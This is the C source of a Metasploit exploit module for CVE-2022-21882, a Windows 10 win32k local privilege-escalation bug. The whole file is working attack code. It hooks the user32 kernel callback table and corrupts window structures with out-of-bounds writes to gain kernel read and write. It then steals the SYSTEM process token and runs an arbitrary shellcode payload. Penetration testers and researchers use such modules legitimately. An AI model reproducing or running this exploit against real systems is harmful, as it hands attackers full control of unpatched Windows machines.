metasploit-framework/external/source/exploits/CVE-2022-21882/exploit.c

437 lines
15 KiB
C
Executable File

#include <windows.h>
#include <time.h>
#include "common.h"
#include "definitions.h"
#include "exploit.h"
#define ConsoleAcquireDisplayOwnership 6
#define BYPASS_BUILD 19042
typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress);
typedef DWORD64 QWORD;
fHMValidateHandle HMValidateHandle = NULL;
fNtCallbackReturn NtCallbackReturn = NULL;
fNtUserMessageCall NtUserMessageCall = NULL;
fNtUserConsoleControl NtUserConsoleControl = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL;
/* min, max, magic, ... */
HWND g_hWnd[50] = { 0 };
tagWND* g_pWnd[50] = { 0 };
tagMENU* g_pFakeMenu = 0;
DWORD g_dwBuild = 0;
DWORD g_dwRandom = 0;
ULONG_PTR* g_pUser32CallbackTable = NULL;
QWORD g_extra_to_wnd1_offset = 0;
PVOID g_pMinBaseAddress = 0;
SIZE_T g_uRegionSize = 0;
const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
ULONG_PTR GetPEB(void) {
return (ULONG_PTR)__readgsqword(0x60);
}
ULONG_PTR* GetUser32CallbackTable() {
return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}
HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) {
tagWND* pWnd;
for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) {
pWnd = (tagWND*)pCursor;
if (pWnd->dwStyle != WS_DISABLED)
continue;
if (pWnd->dwExStyle != WS_EX_NOACTIVATE)
continue;
if (pWnd->cbWndExtra != g_dwRandom)
continue;
return (HWND)pWnd->hWnd;
}
return NULL;
}
NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) {
HWND hwndMagic = g_hWnd[2];
if (hwndMagic == NULL) {
hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize);
dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic);
g_hWnd[2] = hwndMagic;
g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW);
}
if (hwndMagic) {
// this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD
if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) {
dprintf("Set magicWND->dwExtraFlag |= 0x800");
ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 };
NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
// Set magicWND->pExtraBytes to fake offset
dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap);
ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 };
return NtCallbackReturn(&Result, sizeof(Result), 0);
}
}
}
return g_xxxClientAllocWindowClassExtraBytes(pSize);
}
NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) {
tagWND* pWnd = *ppWnd;
// block the free operation on this window for stability
if (pWnd->hWnd == g_hWnd[2]) {
return 1;
}
return g_xxxClientFreeWindowClassExtraBytes(ppWnd);
}
BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) {
DWORD dwOldProtect;
ULONG_PTR* ptrAddr = NULL;
VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect);
ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */
g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr;
*(ULONG_PTR*)ptrAddr = fAllocHook;
ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */
g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr;
*(ULONG_PTR*)ptrAddr = fFreeHook;
VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect);
return TRUE;
}
#define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes)
#define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes);
QWORD KernelRead(ULONG_PTR DestAddr) {
const ULONG_PTR KernelAddressMask = 0xffff800000000000;
if ((DestAddr & KernelAddressMask) != KernelAddressMask) {
dprintf("Invalid address: %llx", DestAddr);
// if the address doesn't look like a kernel mode address then don't read from it
return 0;
}
MENUBARINFO mbi;
memset(&mbi, 0, sizeof(MENUBARINFO));
mbi.cbSize = sizeof(MENUBARINFO);
RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);
*(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40;
GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
DWORD val[2] = { 0 };
val[0] = mbi.rcBar.left - Rect.left;
val[1] = mbi.rcBar.top - Rect.top;
return *(QWORD*)val;
}
ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr);
ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data);
SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal);
return uValue;
}
BOOL ResolveRequirements(void) {
HMODULE hNtdll = LoadLibrary("ntdll");
HMODULE hUser32 = LoadLibrary("user32");
HMODULE hWin32u = LoadLibrary("win32u");
PBYTE pIsMenu = NULL;
DWORD dwCursor = 0;
if ((!hNtdll) || (!hUser32) || (!hWin32u)) {
return FALSE;
}
/* find all of the functions we need */
if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) {
return FALSE;
}
if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
return FALSE;
}
if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) {
return FALSE;
}
if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) {
return FALSE;
}
if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
return FALSE;
}
while (*(pIsMenu + dwCursor) != 0xe8) {
if (dwCursor++ > 0x20) {
return FALSE;
}
}
HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);
/* find the kernel callback table in user32 */
if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
return FALSE;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
g_dwBuild = dwBuild = LOWORD(dwBuild);
dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
if (!((dwMajor == 10) && (dwMinor == 0))) {
return FALSE;
}
if (dwBuild < 17134) {
return FALSE;
}
/* v1803 - v1809 */
else if (dwBuild < 18362) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
}
/* v1903 - v1909 */
else if (dwBuild < 19041) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
}
else if (dwBuild == 19041) {
g_pEprocessOffsets = &EprocessOffsetsWin10v20H1;
}
else if (dwBuild == 19042) {
g_pEprocessOffsets = &EprocessOffsetsWin10v20H2;
}
else if (dwBuild == 19043) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H1;
}
else if (dwBuild == 19044) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
else {
return FALSE;
}
return TRUE;
}
void UpgradeToken(QWORD qwEprocess) {
QWORD qwEprocessBak = qwEprocess;
DWORD dwPidSelf = GetCurrentProcessId();
QWORD dwSystemToken = 0;
QWORD dwMyToken = 0;
QWORD qwMyTokenAddr = 0;
while (!dwSystemToken || !qwMyTokenAddr) {
DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
if (dwPidRead == 4)
dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token);
if (dwPidRead == dwPidSelf)
qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token;
qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
if (qwEprocessBak == qwEprocess)
break;
}
KernelWrite(qwMyTokenAddr, dwSystemToken);
}
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
return;
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}
DWORD Exploit(PVOID pPayload) {
dprintf("Starting exploit...");
if (!ResolveRequirements()) {
dprintf("Failed to resolve requirements");
return 0;
}
srand(time(0) & 0xffffffff);
g_dwRandom = (rand() % 255 + 0x1234) | 1;
dprintf("dwRandom: 0x%08x", g_dwRandom);
WNDCLASSEX wndClass;
memset(&wndClass, 0, sizeof(WNDCLASSEX));
wndClass.cbSize = sizeof(WNDCLASSEX);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.cbWndExtra = 0x20;
wndClass.hInstance = NULL;
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = "NormalClass";
RegisterClassEx(&wndClass);
wndClass.cbWndExtra = g_dwRandom;
wndClass.lpszClassName = "MagicClass";
RegisterClassEx(&wndClass);
QWORD extra_to_wnd1_offset = 0;
QWORD extra_to_wnd2_offset = 0;
ULONG64 ConsoleCtrlInfo[2];
// Create a fake spmenu
g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8);
if (!g_pFakeMenu)
return 0;
g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0);
*g_pFakeMenu->ref = g_pFakeMenu;
// cItems = 1
g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0;
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1;
// rgItems
g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0;
// cx / cy must > 0
g_pFakeMenu->cxMenu = 1;
g_pFakeMenu->cyMenu = 1;
if (g_dwBuild < BYPASS_BUILD) {
InstallHooks();
}
for (int j = 0; j < 5; ++j) {
g_pMinBaseAddress = NULL;
for (int i = 0; i < 50; ++i) {
g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW);
MEMORY_BASIC_INFORMATION MemInfo;
memset(&MemInfo, 0, sizeof(MemInfo));
VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo));
if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) {
g_pMinBaseAddress = MemInfo.BaseAddress;
g_uRegionSize = MemInfo.RegionSize;
}
}
for (int i = 2; i < 50; ++i) {
DestroyWindow(g_hWnd[i]);
g_hWnd[i] = NULL;
}
// Set first window to use kernel desktop heap for extra bytes
ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0];
ConsoleCtrlInfo[1] = 0;
NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW);
dprintf("hWnd[0]: 0x%08x 0x%p", g_hWnd[0], g_pWnd[0]);
dprintf("hWnd[1]: 0x%08x 0x%p", g_hWnd[1], g_pWnd[1]);
dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]);
extra_to_wnd1_offset = 0;
extra_to_wnd2_offset = 0;
if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {
extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
}
if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
}
Sleep(250); // this small delay seems to improve reliability
if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {
DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(g_hWnd[2]);
dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1);
if (j == 4) {
LocalFree(g_pFakeMenu);
return 0;
}
continue;
}
dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset);
dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset);
break;
}
g_extra_to_wnd1_offset = extra_to_wnd1_offset;
if (g_dwBuild < BYPASS_BUILD) {
SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
} else {
InstallHooks();
// Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks
NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);
// Now magic window's pExtraBytes points to tagWND0
SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
}
// Set WS_CHILD to set spmenu with GWLP_ID
DWORD style = g_pWnd[1]->dwStyle;
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD
ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address
// Remove WS_CHILD to use GetMenuBarInfo
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);
dprintf("pWnd[1]->spmenu = %llx", pMenu);
if (pMenu) {
// Token stealing
ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND)
ptr = KernelRead(ptr + 0x10); // pwnd->pti (THREADINFO)
ptr = KernelRead(ptr + 0x1a0); // pti->ppi (PROCESSINFO)
ptr = KernelRead(ptr); // ppi.W32PROCESS.peProcess
dprintf("Current EPROCESS = %llx", ptr);
if (ptr) {
// there is a small possibility that the exploit process up until now has failed and that EProcess is zero
UpgradeToken(ptr);
ExecutePayload(pPayload);
dprintf("The payload has been executed");
}
}
// Fix corrupted tagWND
PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom);
SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes);
SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800);
style = g_pWnd[1]->dwStyle;
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD);
SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);
DestroyWindow(g_hWnd[2]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(g_hWnd[0]);
UninstallHooks();
LocalFree(g_pFakeMenu);
return 0;
}